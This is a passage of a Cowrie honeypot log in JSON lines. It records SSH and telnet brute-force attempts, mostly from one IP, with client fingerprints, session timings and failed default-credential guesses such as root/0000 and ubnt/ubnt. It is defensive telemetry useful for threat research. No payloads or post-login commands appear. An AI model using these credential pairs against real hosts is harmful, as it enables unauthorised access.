{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:55.994608Z","src_ip":"193.151.144.93","session":"fd398942d894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:56.161129Z","src_ip":"193.151.144.93","session":"fd398942d894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:56.738070Z","src_ip":"193.151.144.93","session":"fd398942d894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:58.784278Z","src_ip":"193.151.144.93","session":"fd398942d894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":49706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e21280308090","protocol":"telnet","message":"New connection: 50.62.181.92:49706 (159.203.135.109:23) [session: e21280308090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:00.458543Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56290,"dst_ip":"10.17.0.5","dst_port":22,"session":"607d7cb4c52a","protocol":"ssh","message":"New connection: 193.151.144.93:56290 (10.17.0.5:22) [session: 607d7cb4c52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:01.527749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:01.532861Z","src_ip":"193.151.144.93","session":"607d7cb4c52a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:01.706300Z","src_ip":"193.151.144.93","session":"607d7cb4c52a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:03.198941Z","src_ip":"193.151.144.93","session":"607d7cb4c52a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:04.370198Z","src_ip":"193.151.144.93","session":"607d7cb4c52a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56302,"dst_ip":"10.17.0.5","dst_port":22,"session":"3755a2de2a48","protocol":"ssh","message":"New connection: 193.151.144.93:56302 (10.17.0.5:22) [session: 3755a2de2a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:07.218374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:07.223381Z","src_ip":"193.151.144.93","session":"3755a2de2a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:07.394429Z","src_ip":"193.151.144.93","session":"3755a2de2a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:07.907190Z","src_ip":"193.151.144.93","session":"3755a2de2a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:09.090146Z","src_ip":"193.151.144.93","session":"3755a2de2a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48140,"dst_ip":"10.17.0.5","dst_port":22,"session":"8894d7f2cfe4","protocol":"ssh","message":"New connection: 193.151.144.93:48140 (10.17.0.5:22) [session: 8894d7f2cfe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:12.862290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:12.867478Z","src_ip":"193.151.144.93","session":"8894d7f2cfe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:13.047420Z","src_ip":"193.151.144.93","session":"8894d7f2cfe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:13.572514Z","src_ip":"193.151.144.93","session":"8894d7f2cfe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":56820,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7c89ca2787","protocol":"telnet","message":"New connection: 178.128.93.180:56820 (10.17.0.5:23) [session: ca7c89ca2787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:14.867459Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:15.203555Z","src_ip":"193.151.144.93","session":"8894d7f2cfe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ef77fd4426f","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 8ef77fd4426f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:18.145594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:18.151281Z","src_ip":"23.97.62.150","session":"8ef77fd4426f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48144,"dst_ip":"10.17.0.5","dst_port":22,"session":"01e67dd87b59","protocol":"ssh","message":"New connection: 193.151.144.93:48144 (10.17.0.5:22) [session: 01e67dd87b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:18.314494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:18.319915Z","src_ip":"193.151.144.93","session":"01e67dd87b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:18.387235Z","src_ip":"23.97.62.150","session":"8ef77fd4426f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:18.491674Z","src_ip":"193.151.144.93","session":"01e67dd87b59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:18.996758Z","src_ip":"193.151.144.93","session":"01e67dd87b59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:19.092684Z","src_ip":"23.97.62.150","session":"8ef77fd4426f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:20.328749Z","src_ip":"23.97.62.150","session":"8ef77fd4426f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:20.610136Z","src_ip":"193.151.144.93","session":"01e67dd87b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49196,"dst_ip":"10.17.0.5","dst_port":22,"session":"f88ff441f1eb","protocol":"ssh","message":"New connection: 193.151.144.93:49196 (10.17.0.5:22) [session: f88ff441f1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:23.573018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:23.577393Z","src_ip":"193.151.144.93","session":"f88ff441f1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:23.744434Z","src_ip":"193.151.144.93","session":"f88ff441f1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:24.280273Z","src_ip":"193.151.144.93","session":"f88ff441f1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:25.452418Z","src_ip":"193.151.144.93","session":"f88ff441f1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49204,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a5fd753634c","protocol":"ssh","message":"New connection: 193.151.144.93:49204 (10.17.0.5:22) [session: 5a5fd753634c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:29.017523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:29.022478Z","src_ip":"193.151.144.93","session":"5a5fd753634c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:29.199202Z","src_ip":"193.151.144.93","session":"5a5fd753634c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53194,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee77964615e1","protocol":"ssh","message":"New connection: 103.149.28.157:53194 (10.17.0.5:22) [session: ee77964615e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:29.315383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:29.320045Z","src_ip":"103.149.28.157","session":"ee77964615e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecd